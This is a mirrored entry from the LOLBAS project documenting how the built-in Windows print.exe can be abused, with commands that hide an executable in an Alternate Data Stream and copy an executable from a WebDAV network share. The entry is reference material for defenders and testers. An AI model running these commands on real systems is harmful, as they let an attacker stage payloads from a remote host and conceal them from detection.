mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-27 15:28:34 +01:00
750 B
750 B
Print.exe
- Functions: Download, Copy, Add ADS
print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
Copy file.exe into the Alternate Data Stream (ADS) of file.txt.
print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe
print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.
-
Resources:
-
Full path:
- C:\Windows\System32\print.exe
- C:\Windows\SysWOW64\print.exe
-
Notes: Thanks to Oddvar Moe - @oddvarmoe